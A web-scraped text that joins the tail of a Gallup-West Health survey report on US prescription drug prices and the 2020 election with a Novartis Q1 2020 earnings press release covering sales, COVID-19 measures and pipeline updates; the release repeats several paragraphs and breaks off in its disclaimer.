by independents (up six points, to 28%) and Democrats (up five points). Perceived progress among Republicans -- the party of the president -- is down seven points, from 63% in September. Three in 10 Prioritize Drug Costs as 2020 Election Issue Against the backdrop of perceptions of rising drug prices and minimal progress made in curtailing them, nearly one-third of U.S. adults (30%) consider a candidate's position on lowering drug costs to be "the single most important issue" or "among the most important issues" in influencing their vote in the 2020 election. Women place somewhat higher importance on the price of prescription drugs than do men, while nonwhites (45%) are twice as likely as whites (23%) to do so. Annual household income is strongly inversely related to importance to voting, with 45% of those from households making less than $40,000 rating the drug price issue as highly important, compared with 14% of those from households making $100,000 or more. These perspectives are also heavily influenced by political identity. While Democrats are three times as likely to rate the issue as important (45%) rather than unimportant (15%) to their vote, this is reversed among Republicans (12% important vs. 41% unimportant). A third of independents (34%) place high importance on this issue, while 19% place low importance on it. Influence of Candidate's Position on Drug Prices in Determining 2020 Vote How influential will a candidate's position on lowering drug costs be in determining your vote in the 2020 elections? Will it be the single most important issue, among the most important issues, mid-range in importance, among the least important issues or the least important issue? Most important/Among the most important Least important/Among the least important % % U.S. adults 30 25 Gender Women 33 20 Men 28 30 Race/Ethnicity Whites 23 27 Nonwhites 45 18 Annual household income <$40,000 45 17 $40,000-<$100,000 31 23 $100,000+ 14 36 Party ID Democrats 45 15 Independents 34 19 Republicans 12 41 Gallup-West Health Healthcare Costs Survey, Feb. 17-28, 2020 Three-Fourths Support Vote on House Bill Meant to Lower Drug Prices One proposal for addressing the rising costs of prescription drugs is through House bill HR 3, which passed the House in a largely partisan vote on Dec. 12, 2019. The legislation, also known as the Elijah E. Cummings Lower Drug Costs Now Act, requires the Department of Health and Human Services (HHS) to negotiate with drug manufacturers to set maximum prices for certain prescription drugs -- initially including insulin products and at least 25 single-source, brand-name drugs that are not available as generic drugs and that are among either the 125 drugs that account for the greatest national spending or the 125 drugs that account for the greatest spending under the Medicare prescription drug benefit and Medicare Advantage. Most Democratic lawmakers support the bill as a means of bringing the large-scale negotiating power of the federal government and those whom it insures to bear in managing drug costs. President Trump, most Republican lawmakers and the pharmaceutical industry trade group PhRMA oppose the bill, noting that government intervention in the pharmaceutical industry could potentially curtail innovation and the pursuit of new drugs. Currently, there is no indication that Senate Majority Leader Mitch McConnell will move forward with a vote in the Senate. Public support for the Senate bringing this up for a vote, however, is high -- with 75% of Americans, including 72% of Republicans, in favor of a vote. Support for Senate Vote on House Bill HR 3, by Political Party The U.S. House of Representatives recently passed legislation that would allow the federal government to negotiate drug prices with drug companies, something that the government is currently prohibited from doing. Do you support or oppose a vote in the U.S. Senate on this legislation? Support Senate vote Oppose Senate vote % % U.S. adults 75 22 Democrats 77 19 Independents 76 22 Republicans 72 25 Gallup-West Health Healthcare Costs Survey, Feb. 17-28, 2020 While around three-quarters of survey respondents from all three partisan groups are in favor of having a vote on the legislation, the survey did not ask for their opinion on the bill more generally to indicate whether they would like it to pass. Implications The cost of prescription drugs in the U.S. continues to be a major electoral issue for nearly one-third of adults and is particularly important to nonwhites and those from lower-income households. Also, Democrats are nearly four times more likely than Republicans to ascribe high importance to the issue. According to recent research by Gallup and West Health, 23% of U.S. adults say they've had at least one instance in the past year when they did not have enough money to pay for needed prescription drugs. In addition, 13% say that within the past five years, they've had a friend or family member pass away after not being able to pay for needed medical treatment. With a majority of Americans perceiving that drug prices have increased since 2017, and less than a third saying the Trump administration has made progress at curtailing their rising costs, this could represent a position of vulnerability for Trump as the general election in November draws closer. The COVID-19 pandemic could also be a factor in how healthcare issues influence voters' preferences in November, with significant numbers reporting that they would avoid COVID-19 treatment due to the cost of care. At the time of this survey (Feb. 17-28), the U.S. still had fewer than 100 confirmed cases (although the actual number of infected persons was likely between 1,000 and 10,000). As such, while it is possible that the estimates summarized in this article were influenced by concerns over the effect that the outbreak would have on the healthcare system, it seems unlikely that such influence would be substantial. Q1 2020 net sales from continuing operations 1 grew 13% (cc 2 , +11% USD) with double digit growth (cc) in Innovative Medicines and Sandoz: Key growth drivers include Entresto USD 569 million (+62% cc), Zolgensma USD 170 million, Cosentyx USD 930 million (+19% cc), Kisqali USD 161 million (+82% cc) and Piqray USD 74 million Biopharmaceuticals grew 31% (cc) to USD 450 million, with strong growth in Europe Excluding COVID-19 related forward purchases, we estimate 3 sales growth to be approximately 9% (cc) Core 2 operating income grew 34% (cc, +28% USD) mainly driven by higher sales, benefiting from COVID-19 forward purchasing and gross margin improvement, partly offset by launch investments Excluding COVID-19 related forward purchases and lower spending, we estimate 3 core operating income growth to be approximately 22% (cc) mainly driven by higher sales, benefiting from COVID-19 forward purchasing and gross margin improvement, partly offset by launch investments Impacts of COVID-19: Our operations and product demand remain very stable and strong. Mitigating actions helped to ensure minimal disruption to supply chain and ability to meet forward purchasing demand We estimate 3 that forward purchasing had a favorable impact of approximately USD 0.4 billion on sales. Core operating income benefited by approximately 3 USD 0.4 billion from forward purchasing and lower spending. These impacts 3 are expected to reverse in the remainder of 2020 Currently manageable disruption to clinical trials and minimal disruption to ongoing regulatory submissions Net income grew 24% (cc, +16% USD), including higher legal provisions and taxes Free cash flow 2 increased 8% to USD 2.0 billion driven by higher cash flows from operations Sandoz US generic oral solids and dermatology businesses will be retained by Novartis , after mutual agreement with Aurobindo to terminate the transaction , after mutual agreement with Aurobindo to terminate the transaction 2020 guidance4 for continuing operations confirmedat this time - Net sales expected to grow mid to high-single digit (cc); core operating income expected to grow high-single to low double digit (cc) Basel, April 28, 2020 - Commenting on the quarter, Vas Narasimhan, CEO of Novartis, said: "We continue to deliver our medicines to patients and advance our innovative pipeline as reflected in our strong operational performance in Q1. While there are many uncertainties for the coming year, we are maintaining our full year outlook at this time and will continue to play our part to overcome the pandemic. Our response to the COVID-19 crisis demonstrates Novartis' relentless commitment to our associates, patients, and the global community. For our associates we've committed to no COVID-19 related job losses and a full range of support programs. To support the global public health response, we are engaged in multiple collaborative R&D efforts, large scale clinical trials and donations to support local communities in currently over 60 countries." Key figures2 Continuing operations1 Q1 2020 Q1 2019 % change USD m USD m USD cc Net sales 12 283 11 106 11 13 Operating income 2 744 2 242 22 30 Net income 2 173 1 868 16 24 EPS (USD) 0.96 0.81 19 27 Free cash flow 2 021 1 869 8 Core operating income 4 177 3 254 28 34 Core net income 3 549 2 811 26 31 Core EPS (USD) 1.56 1.21 29 34 COVID-19 Update As the COVID-19 situation continues to evolve, our primary concern remains the health and safety of our associates and patients globally while we also continue to take strong actions to help address the pandemic. We are supporting our associates through a range of programs, from additional paid days off for those who have to care for ill family members at home, enhanced child care, on-line learning programs and enabled working from home. Importantly, Novartis has made a commitment that there will be no COVID-19 related job losses. During the first quarter, COVID-19 did not have a material impact on our underlying business, financial condition, cash collections or liquidity. COVID-19 did result in increased forward purchasing by customers, including at the patient level, as some patients filled prescriptions to cover a longer period of time. Novartis continues to deliver needed medicines to patients and healthcare providers around the world. We do not anticipate supply chain disruption for the majority of the portfolio at this time given strong mitigation measures and inventory levels. Clinical trials are continuing and we are leveraging our digital tools to limit the disruption caused by the pandemic. We are seeing slowdowns in new enrollments in ongoing clinical studies and start-up with new studies. We are utilizing the SENSE digital technology implemented in 2018 that allows us to track in real time all of our clinical trials (500+) in more than 70 countries at the level of individual patients and shift to contingency plans rapidly as the situation evolves. This includes, direct-to-patient medication delivery supported by home nursing services, virtual safety assessments and remote medical monitoring. At this time we remain confident the impact on our ongoing clinical trials is manageable. Looking ahead for the remainder of the year, we do not expect delays in our planned 2020 regulatory submissions. We will continue to monitor and provide more updates as the year unfolds. Novartis is participating in collaborative research efforts such as the COVID-19 Therapeutics Accelerator, coordinated by the Bill & Melinda Gates Foundation, Wellcome, and Mastercard, as well as a COVID-19 directed partnership organized by the Innovative Medicines Initiative. Both are cross-sector collaborations that bring several pharmaceutical companies and expert academic institutions into coordinated research programs, with the aim of bringing the most promising molecules forward quickly without organizational barriers. Additionally, in response to an urgent call for research and development on COVID-19, issued by the European Federation of Pharmaceutical Industries and Associations, Novartis is contributing by making available several compounds from its libraries that are considered suitable for in vitro antiviral testing. Together with the research community, Novartis is assessing whether our clinical-stage investigational or approved medicines could be repurposed beyond their intended or approved indications to treat complications of SARS-CoV-2 infection. Novartis initiated a Phase III clinical trial in collaboration with Incyte to evaluate the use of ruxolitinib in combination with standard of care (SoC), compared to SoC alone, as well as a Phase III study of canakinumab, in patients with pneumonia as a result of SARS-CoV-2 infection. In addition, Novartis announced a Phase III trial of hydroxychloroquine, alone and in combination with azithromycin, for the treatment of hospitalized patients with COVID-19 disease. Under an expedited managed access program, Novartis has granted requests and provided ruxolitinib and canakinumab. Requests for investigator initiated trials have also been granted for COVID-19-related clinical studies of imatinib, secukinumab, hydroxychloroquine and valsartan. Novartis has committed to donate up to 130 million doses of generic hydroxychloroquine to support the global COVID-19 pandemic response. Financials In order to comply with International Financial Reporting Standards (IFRS), Novartis has separated the Group's reported financial data for the current and prior years into "continuing" and "discontinued" operations. The results of the Alcon business in 2019 are reported as discontinued operations. See page 33 and Notes 2, 3 and 10 in the Condensed Interim Financial Report for a full explanation. The Sandoz US generic oral solids and dermatology businesses will be retained by Novartis, after mutual agreement with Aurobindo to terminate the transaction. This decision was taken as approval from the U.S. Federal Trade Commission for the transaction was not obtained within the agreed timelines. The commentary below focuses on continuing operations including the businesses of Innovative Medicines and Sandoz, as well as the continuing Corporate functions. We also provide information on discontinued operations. Continuing operations first quarter Net sales were USD 12.3 billion (+11%, +13% cc) in the first quarter driven by volume growth of 17 percentage points, mainly from Entresto,Zolgensma, Cosentyx and Promacta/Revolade. Volume growth also benefited from COVID-19 related forward purchasing. Strong volume growth was partly offset by price erosion of 3 percentage points and negative impact from generic competition of 1 percentage point. Excluding COVID-19 related forward purchases, we estimate sales growth would have been approximately 9% (cc). Operating income was USD 2.7 billion (+22%, +30% cc) mainly driven by higher sales, partly offset by launch investments and higher legal expenses. Net income was USD 2.2 billion (+16%, +24% cc) mainly driven by higher operating income, partly offset by higher taxes. EPS was USD 0.96 (+19%, +27% cc), growing faster than net income benefiting from lower weighted average number of shares outstanding. Core operating income was USD 4.2 billion (+28%, +34% cc) mainly driven by higher sales and gross margin, partly offset by launch investments. Core operating income margin was 34.0% of net sales, increasing by 4.7 percentage points (+5.4 percentage points cc). Excluding COVID-19 related forward purchases and lower spending, we estimate core operating income growth would have been approximately 22% (cc) and core operating income margin would have been approximately 32% of net sales. Core net income was USD 3.5 billion (+26%, +31% cc) driven by growth in core operating income, partly offset by higher financial expenses. Core EPS was USD 1.56 (+29%, +34% cc), growing faster than core net income benefiting from lower weighted average number of shares outstanding. Free cash flow from continuing operations amounted to USD 2.0 billion (+8%) compared to USD 1.9 billion in the prior year quarter. The increase was mainly driven by higher cash flows from operating activities. Innovative Medicines net sales were USD 9.8 billion (+11%, +13% cc). Pharmaceuticals BU sales grew 14% (cc), driven by continuing momentum on Entresto and Cosentyx and the launch uptake of Zolgensma. Oncology BU grew 12% (cc) driven by continuing momentum on Promacta/Revolade,Tafinlar + Mekinist and Kisqali as well as the launch uptake of Piqray. Volume contributed 18 percentage points to sales growth and partly benefited from COVID-19 related forward purchasing. Generic competition had a negative impact of 2 percentage points, mainly driven by Afinitor, Exjade,Travatan and Exforge, and net pricing had a negative impact of 3 percentage points. Sandoz net sales were USD 2.5 billion (+9%, +11% cc) driven by volume growth of 15 percentage points including COVID-19 related forward purchasing, partly offset by price erosion of 4 percentage points. Excluding the US, net sales grew strongly (+17% cc). Global sales of Biopharmaceuticals grew to USD 450 million (+31% cc), mainly driven by continued strong double-digit growth in Europe. Discontinued operations Discontinued operations include the business of Alcon and certain Corporate costs directly attributable to Alcon up to the spin-off date. As the Alcon spin-off was completed on April 9, 2019, the first quarter of the prior year includes three months of operating results of the divested business. In the first quarter of 2020, there were no activities related to discontinued operations. In the first quarter 2019, discontinued operations net sales were USD 1.8 billion, operating income amounted to USD 71 million and net loss from discontinued operations was USD 101 million. For further details see Note 2 "Distribution of Alcon Inc. to Novartis AG shareholders", Note 3 "Significant transactions - Completion of the spin-off of the Alcon business through a dividend in kind distribution to Novartis AG shareholders" and Note 10 "Discontinued operations". Total Group first quarter For the total Group, net income amounted to USD 2.2 billion compared to USD 1.8 billion in prior year, and basic earnings per share was USD 0.96 compared to USD 0.77 in prior year. Cash flow from operating activities for the total Group amounted to USD 2.5 billion and free cash flow to USD 2.0 billion. Key growth drivers (Q1 performance): Underpinning our financial results in the first quarter is a continued focus on key growth drivers including: Entresto (USD 569 million, +62% cc) continued demand-driven growth momentum across geographies. In the US, new weekly prescriptions reached all-time-high at >4,500. (USD 569 million, +62% cc) continued demand-driven growth momentum across geographies. In the US, new weekly prescriptions reached all-time-high at >4,500. Zolgensma (USD 170 million) US launch continues to progress well. Policies are in place covering ~97% of commercial patients and >50% of Medicaid patients. Currently, 25 states representing 42% of newborns are screening for SMA in the US. (USD 170 million) US launch continues to progress well. Policies are in place covering ~97% of commercial patients and >50% of Medicaid patients. Currently, 25 states representing 42% of newborns are screening for SMA in the US. Cosentyx (USD 930 million, +19% cc) continued to grow strongly across indications and regions. In the US sales grew 22% vs. Q1 2019 with broad first line access in all three indications. (USD 930 million, +19% cc) continued to grow strongly across indications and regions. In the US sales grew 22% vs. Q1 2019 with broad first line access in all three indications. Promacta/Revolade (USD 403 million, +33% cc) continued double-digit growth in all regions driven by increased use in ITP and further uptake as first-line treatment for SAA in the US. (USD 403 million, +33% cc) continued double-digit growth in all regions driven by increased use in ITP and further uptake as first-line treatment for SAA in the US. Xiidra (USD 90 million) is the only prescription eye drop solution marketed in the US and Canada to treat the signs and symptoms of dry eye disease. Xiidra was acquired from Takeda in 2019. (USD 90 million) is the only prescription eye drop solution marketed in the US and Canada to treat the signs and symptoms of dry eye disease. Xiidra was acquired from Takeda in 2019. Tafinlar + Mekinist (USD 366 million, +26% cc) continued double-digit growth driven by demand in adjuvant melanoma as well as NSCLC. (USD 366 million, +26% cc) continued double-digit growth driven by demand in adjuvant melanoma as well as NSCLC. Piqray (USD 74 million) continued strong launch uptake in the US, benefiting from further uptake in PIK3CA mutation testing. (USD 74 million) continued strong launch uptake in the US, benefiting from further uptake in PIK3CA mutation testing. Kisqali (USD 161 million, +82% cc) continued strong double-digit growth driven by demand in all geographies, benefiting from the impact of positive overall survival data from two pivotal Phase III trials (MONALEESA-7 and MONALEESA-3). (USD 161 million, +82% cc) continued strong double-digit growth driven by demand in all geographies, benefiting from the impact of positive overall survival data from two pivotal Phase III trials (MONALEESA-7 and MONALEESA-3). Beovu (USD 68 million) was launched in the US in October 2019. Post marketing cases reported as severe vision loss, retinal artery occlusion and/or vasculitis had an unfavorable impact on US sales. (USD 68 million) was launched in the US in October 2019. Post marketing cases reported as severe vision loss, retinal artery occlusion and/or vasculitis had an unfavorable impact on US sales. Kymriah (USD 93 million, +109% cc) grew strongly in Europe and in the US. Over 230 qualified treatment centers and more than 20 countries have coverage for at least one indication. (USD 93 million, +109% cc) grew strongly in Europe and in the US. Over 230 qualified treatment centers and more than 20 countries have coverage for at least one indication. Mayzent (USD 30 million) sales increased driven by enhanced education of the EXPAND trial data. (USD 30 million) sales increased driven by enhanced education of the EXPAND trial data. Adakveo (USD 15 million) US launch is progressing well, with high brand awareness among hematologists. Payer coverage and reimbursement are expanding, including Medicaid coverage policies issued in 12 states and by many national and regional private payers; C-code was issued on April 1, and a permanent J-code is on track to be issued on July 1. (USD 15 million) US launch is progressing well, with high brand awareness among hematologists. Payer coverage and reimbursement are expanding, including Medicaid coverage policies issued in 12 states and by many national and regional private payers; C-code was issued on April 1, and a permanent J-code is on track to be issued on July 1. Biopharmaceuticals (biosimilars, biopharmaceutical contract manufacturing and Glatopa) grew to USD 450 million (+31% cc), driven by continued strong double-digit growth in Europe. (biosimilars, biopharmaceutical contract manufacturing and Glatopa) grew to USD 450 million (+31% cc), driven by continued strong double-digit growth in Europe. Emerging Growth Markets, which comprise all markets except the US, Canada, Western Europe, Japan, Australia and New Zealand, sales grew 14% (cc) including China (USD 622 million), which grew 18% (cc). Net sales of the top 20 Innovative Medicines products in 2020 Q1 2020 % change USD m USD cc Cosentyx 930 18 19 Gilenya 772 1 2 Entresto 569 59 62 Lucentis 487 -9 -6 Tasigna 487 12 15 Promacta/Revolade 403 31 33 Sandostatin 374 -5 -3 Tafinlar + Mekinist 366 23 26 Galvus Group 338 7 10 Gleevec/Glivec 329 7 9 Jakavi 318 23 27 Xolair 307 9 13 Afinitor/Votubia 296 -21 -20 Diovan Group 274 5 9 Exforge Group 258 -3 0 Ilaris 213 41 44 Exjade/Jadenu 172 -28 -26 Zolgensma 170 nm nm Votrient 166 -11 -9 Kisqali 161 77 82 Top 20 products total 7 390 12 14 nm = not meaningful R&D Update - Key developments from the first quarter New approvals and regulatory update Zolgensma IV formulation received a positive opinion from the CHMP for conditional approval for patients with SMA and a clinical diagnosis of Type 1 or SMA patients with up to three copies of the SMN2 gene. Zolgensma was also approved by the Japanese MHLW for SMA in patients under the age of two, including those who are presymptomatic at diagnosis; reimbursement is expected by the end of H1 2020, pending agreement Zolgensma is expected to be available at that time. received a positive opinion from the CHMP for conditional approval for patients with SMA and a clinical diagnosis of Type 1 or SMA patients with up to three copies of the SMN2 gene. Zolgensma was also approved by the Japanese MHLW for SMA in patients under the age of two, including those who are presymptomatic at diagnosis; reimbursement is expected by the end of H1 2020, pending agreement Zolgensma is expected to be available at that time. Beovu (brolucizumab) was approved with a prefilled syringe in the EU, Japan, Switzerland, Canada and Australia. was approved with a prefilled syringe in the EU, Japan, Switzerland, Canada and Australia. Capmatinib (INC280) was granted Priority Review designation by the FDA and the review is expected to be completed within six months. Novartis was previously granted FDA Breakthrough Therapy designation for capmatinib. (INC280) was granted Priority Review designation by the FDA and the review is expected to be completed within six months. Novartis was previously granted FDA Breakthrough Therapy designation for capmatinib. Kymriah received FDA Regenerative Medicine Advanced Therapy designation for treatment of patients with follicular lymphoma. received FDA Regenerative Medicine Advanced Therapy designation for treatment of patients with follicular lymphoma. Cosentyx received a positive CHMP opinion for treatment of patients with non-radiographic axSpA, the fourth indication. Also the filing was accepted in the US. Regulatory submissions and filings Inclisiran (KJX839) was filed in the US for primary hyperlipidemia and in the EU for both primary hypercholesterolemia and mixed dyslipidemia, which include Familial Hypercholesterolemia, ASCVD or ASCVD risk equivalent patients. (KJX839) was filed in the US for primary hyperlipidemia and in the EU for both primary hypercholesterolemia and mixed dyslipidemia, which include Familial Hypercholesterolemia, ASCVD or ASCVD risk equivalent patients. Ofatumumab (OMB157) was filed in the US and EU for treatment of RMS. US filed with priority review voucher. Results from ongoing trials and other highlights Beovu (brolucizumab) safety update . In early April, Novartis completed its review of post-marketing safety case reports. Based on internal and Safety Review Committee assessment, Novartis concluded that there is a confirmed safety signal of rare adverse events of "retinal vasculitis and/or retinal vascular occlusion that may result in severe vision loss. Typically these events occur in the presence of intraocular inflammation." Novartis has been in dialogue with regulatory authorities and based on this review, Novartis has initiated a safety information update to Beovu prescribing information worldwide. Novartis sponsored studies will be amended so that protocols, informed consent forms, and investigator brochures contain the new safety information and patients re-consented. Novartis is committed to continuing to collaborate with the scientific and broader retina community to better understand the root causes and potential risk factors associated with these rare adverse events. Novartis continues to believe Beovu represents an important treatment option for patients with wet AMD, with an overall favorable benefit-risk profile. In early April, Novartis completed its review of post-marketing safety case reports. Based on internal and Safety Review Committee assessment, Novartis concluded that there is a confirmed safety signal of rare adverse events of "retinal vasculitis and/or retinal vascular occlusion that may result in severe vision loss. Typically these events occur in the presence of intraocular inflammation." Novartis has been in dialogue with regulatory authorities and based on this review, Novartis has initiated a safety information update to Beovu prescribing information worldwide. Novartis sponsored studies will be amended so that protocols, informed consent forms, and investigator brochures contain the new safety information and patients re-consented. Novartis is committed to continuing to collaborate with the scientific and broader retina community to better understand the root causes and potential risk factors associated with these rare adverse events. Novartis continues to believe Beovu represents an important treatment option for patients with wet AMD, with an overall favorable benefit-risk profile. AveXis presented compelling data at MDA in both IV and IT formulations of AVXS-101: Zolgensma IV data showed rapid, significant, clinically meaningful benefit including prolonged event-free survival, motor milestone achievement and durability for up to 5 years post-dosing. AVXS-101 IT STRONG data in Type 2 patients showed a mean increase of 6.0 points in Hammersmith, twice the clinically meaningful threshold. Inclisiran data from three pivotal trials was published in NEJM showing durable and potent efficacy, with a safety profile similar to placebo. Inclisiran reduced LDL-C at 17 months by 52% in patients with ASCVD (ORION-10), 50% for ASCVD and ASCVD risk equivalents (ORION-11) and by 48% in patients with HeFH (ORION-9); all of whom had elevated LDL-C levels despite maximally tolerated lipid-lowering therapy. Prespecified exploratory analysis based on safety reporting from the three trials, showed fewer major adverse cardiovascular events (MACE) with inclisiran compared to placebo. Injection site reactions were more frequent with inclisiran, the majority of them mild and none of them severe. data from three pivotal trials was published in NEJM showing durable and potent efficacy, with a safety profile similar to placebo. Inclisiran reduced LDL-C at 17 months by 52% in patients with ASCVD (ORION-10), 50% for ASCVD and ASCVD risk equivalents (ORION-11) and by 48% in patients with HeFH (ORION-9); all of whom had elevated LDL-C levels despite maximally tolerated lipid-lowering therapy. Prespecified exploratory analysis based on safety reporting from the three trials, showed fewer major adverse cardiovascular events (MACE) with inclisiran compared to placebo. Injection site reactions were more frequent with inclisiran, the majority of them mild and none of them severe. Cosentyx built on its axSpA leadership with US label update for dosing flexibility in ankylosing spondylitis, allowing 300 mg up-titration option based on Phase III MEASURE 3 study results. The label update provides clinicians with greater choice for their patients. built on its axSpA leadership with US label update for dosing flexibility in ankylosing spondylitis, allowing 300 mg up-titration option based on Phase III MEASURE 3 study results. The label update provides clinicians with greater choice for their patients. Jakavi REACH2 Phase III study of acute graft-versus-host disease (GvHD) data was published in NEJM. REACH2 trial results confirm Jakavi significantly improves overall response rate at 28 days vs. best available therapy in steroid-refractory GvHD. Phase III study of acute graft-versus-host disease (GvHD) data was published in NEJM. REACH2 trial results confirm Jakavi significantly improves overall response rate at 28 days vs. best available therapy in steroid-refractory GvHD. Sandoz completed the acquisition of Aspen's Japanese operations, strengthening its position in world's third largest market for generics and off-patent medicines. Capital structure and net debt Retaining a good balance between investment in the business, a strong capital structure and attractive shareholder returns remains a priority. In Q1 2020, 25.2 million shares (for an equity value of USD 1.0 billion) were delivered as a result of options exercised and share deliveries related to participation plans of associates. In the same period, 1.5 million shares (for an equity value of USD 0.1 billion) were repurchased from associates. Consequently, the total number of shares outstanding increased by 23.7 million versus December 31, 2019. Novartis aims to offset the dilutive impact from equity based participation plans of associates over the remainder of the year. These treasury share transactions resulted in an equity increase of USD 0.9 billion and a net cash inflow of USD 0.7 billion. In the first quarter of 2020, Novartis issued bonds denominated in US dollars for a total notional amount of USD 5.0 billion, repaid a USD 1.0 billion bond issued in February 2017 at maturity and paid down a USD 7.0 billion short term credit facility drawn in January 2020 in connection with the acquisition of The Medicines Company. As of March 31, 2020, the net debt increased by USD 13.9 billion to USD 29.8 billion compared to December 31, 2019. The increase was mainly driven by the acquisition of The Medicines Company for USD 9.6 billion and the USD 7.0 billion annual dividend payment, partly offset by USD 2.0 billion free cash flow in Q1 2020. As of Q1 2020, the long-term credit rating for the company is A1 with Moody's Investors Service and AA- with S&P Global Ratings. We continuously track our liquidity positions and assets / liabilities profile. We have a strong balance sheet and related funding capabilities to meet our funding needs. Concerning the COVID-19 situation, the Group has not experienced liquidity or cash flow disruptions during the first quarter of 2020 and maintains a cash and cash equivalents position of USD 4.5 billion as per March 31, 2020. We believe that our strong credit rating allows for continued access to short term funding in the US commercial paper market. The Group further has a committed credit facility of USD 6.0 billion as a backstop for the US commercial paper program, which was undrawn as of March 31, 2020, providing a further source of liquidity if needed. Novartis is well positioned to meet its ongoing financial obligations and has sufficient liquidity to support our normal business activities. 2020 Outlook Barring unforeseen events Continuing operations Excluding Alcon from both 2019 and 2020 Net sales: expected to grow mid to high-single digit (cc) expected to grow mid to high-single digit (cc) From a divisional perspective, we expect net sales performance (cc) in 2020 to be as follows: Innovative Medicines: expected to grow mid to high-single digit Sandoz : expected to grow low-single digit Core operating income: expected to grow high-single to low double digit (cc) At Q4 2019 earnings Novartis issued guidance excluding the Sandoz US oral solids and dermatology portfolio. As Novartis is retaining the Sandoz US portfolio our guidance is now on continuing operations. Novartis expects growth of continuing operations sales and core operating income to be approximately 1% lower than the guidance provided under the previous assumption. This guidance includes the forecast assumption that we see a return to normal prescription and consumption dynamics during Q2 in our major markets. We will closely monitor the business dynamics and provide any additional guidance at Q2 earnings. The guidance also includes the forecast assumption that no Gilenya and no Sandostatin LAR generics enter in 2020 in the US. Foreign exchange impact If late-April exchange rates prevail for the remainder of 2020, the currency impact for the year would be negative 3 percentage points on net sales and negative 6 percentage points on core operating income. The estimated impact of exchange rates on our results is provided monthly on our website. Continuing operations 5,6 Q1 2020 Q1 2019 % change USD m USD m USD cc 2 Net sales 12 283 11 106 11 13 Operating income 2 744 2 242 22 30 As a % of sales 22.3 20.2 Core operating income 4 177 3 254 28 34 As a % of sales 34.0 29.3 Net income 2 173 1 868 16 24 EPS (USD) 0.96 0.81 19 27 Core net income 3 549 2 811 26 31 Core EPS (USD) 1.56 1.21 29 34 Cash flows from operating activities 2 528 2 334 8 Free cash flow 2 021 1 869 8 Innovative Medicines Q1 2020 Q1 2019 % change USD m USD m USD cc Net sales 9 755 8 780 11 13 Operating income 2 755 2 109 31 38 As a % of sales 28.2 24.0 Core operating income 3 607 2 922 23 28 As a % of sales 37.0 33.3 Sandoz Q1 2020 Q1 2019 % change USD m USD m USD cc Net sales 2 528 2 326 9 11 Operating loss / income - 45 273 nm nm As a % of sales -1.8 11.7 Core operating income 673 461 46 53 As a % of sales 26.6 19.8 Corporate Q1 2020 Q1 2019 % change USD m USD m USD cc Operating income / loss 34 -140 nm nm Core operating loss -103 -129 20 19 Discontinued operations Q1 2020 Q1 2019 % change USD m USD m USD cc Net sales 1 777 Operating income 71 As a % of sales 4.0 Core operating income 350 As a % of sales 19.7 Net loss - 101 Total Group Q1 2020 Q1 2019 % change USD m USD m USD cc Net income 2 173 1 767 23 31 EPS (USD) 0.96 0.77 25 34 Core net income 3 549 3 089 15 19 Core EPS (USD) 1.56 1.33 17 22 Cash flows from operating activities 2 528 2 412 5 Free cash flow 2 021 1 807 12 nm = not meaningful Detailed financial results accompanying this press release are included in the Condensed Interim Financial Report at the link below: https://ml-eu.globenewswire.com/resource/download/20dba83d-112c-41e6-a2a5-359246d7fa80/ (https://urldefense.proofpoint.com/v2/url?u=https-3A__ml-2Deu.globenewswire.com_resource_download_20dba83d-2D112c-2D41e6-2Da2a5-2D359246d7fa80_&d=DwMGaQ&c=ZbgFmJjg4pdtrnL2HUJUDw&r=2d23jyxhYiL4jBbK3xRqyh4ygdI-sfm9VH77O6zheU8&m=VaN_7FXEZqxS-CqtB-Vs2Oh9zNCUljfEos4fVX7StTw&s=41-UdpwUZCLSbBtZE8xCD1HrgmP1y56yhgTy5po8S5Q&e=) Disclaimer This press release contains forward-looking statements within the meaning of the United States Private Securities Litigation Reform Act of 1995, that can generally be identified by words such as "to support," "ensure," "estimate," "growth," "remain," "impact," "ongoing," "submissions," "expected," "focus," "launch," "launch investments," "innovation," "potential," "guidance," "will," "to grow," "commitment," "promising," "pipeline," "to make," "evolve," "continue," "to take," "continues," "anticipate," "are supporting," "participating," "aim," "contributing," "assessing," "committed," "to evaluate," "continuing," "may," "momentum," "could," "would," "leveraging," "launched," "on track," "growing," "continued," "progressing," "to determine," "expanding," "pending," "to be completed," "strongly," "priority review designation," "priority," "breakthrough therapy designation," "regenerative medicine advanced therapy designation," "filings," "outlook," "unforeseen," "forecast," "enter," "focused," "to believe," "believe," "proposed," "prevail," "to improve," "transformative," "innovative," "inventive," "manageable," "minimal disruption," "confident," "looking ahead," "expect," "planned," or similar expressions, or by express or implied discussions regarding potential new products, potential new indications for existing products, potential product launches, or regarding potential future revenues from any such products; or regarding potential manufacturing or supply chain disruptions; or regarding our estimates of the impact of past and future COVID-19 related forward purchasing on sales and on core operating income in the future; or regarding the impact of the COVID-19 pandemic on clinical trials, and research and development timelines; or regarding potential future or pending transactions; or regarding potential future sales or earnings of the Group or any of its divisions or potential shareholder returns; or by discussions of strategy, plans, expectations or intentions; or regarding the Group's liquidity or cash flow positions and its ability to meet its ongoing financial obligations and operational needs; or regarding drug discovery collaboration efforts and support of clinical trials for existing Novartis medicines and a commitment to donate up to 130 million doses of generic hydroxychloroquine to support the global COVID-19 pandemic response. Such forward-looking statements are based on the current beliefs and expectations of management regarding future events, and are subject to significant known and unknown risks and uncertainties. Should one or more of these risks or uncertainties materialize, or should underlying assumptions prove incorrect, actual results may vary materially from those set forth in the forward-looking statements. You should not place undue reliance on these statements. In particular, our expectations could be affected by, among other things: disruptions of our manufacturing or supply chain impacting our ability to meet demand for our products in the future; liquidity or cash flow disruptions affecting our ability to meet our ongoing financial obligations and to support our ongoing business activities; uncertainties regarding the impact of past and future COVID-19 related forward purchasing on sales and core operating income in the future; the impact of the COVID-19 pandemic on enrollment in, initiation and completion of our clinical trials in the future, and research and development timelines; global trends toward healthcare cost containment, including ongoing government, payer and general public pricing and reimbursement pressures and requirements for increased pricing transparency; uncertainties regarding potential significant breaches of data security or data privacy, or disruptions of our information technology systems; regulatory actions or delays or government regulation generally, including potential regulatory actions or delays with respect to the development of the products described in this press release; the potential that the strategic benefits, synergies or opportunities expected from the acquisition of the Japanese business of Aspen Global Incorporated, and other transactions described, may not be realized or may be more difficult or take longer to realize than expected; potential adverse reactions to the transaction by customers, suppliers or strategic partners; dependence on key personnel of Aspen Global Incorporated; dependence on third parties to fulfill manufacturing and supply obligations; the uncertainties involved in predicting shareholder returns; the uncertainties in the research and development of new healthcare products, including clinical trial results and additional analysis of existing clinical data; our ability to obtain or maintain proprietary intellectual property protection, including the ultimate extent of the impact on Novartis of the loss of patent protection and exclusivity on key products that commenced in prior years and is expected to continue this year; 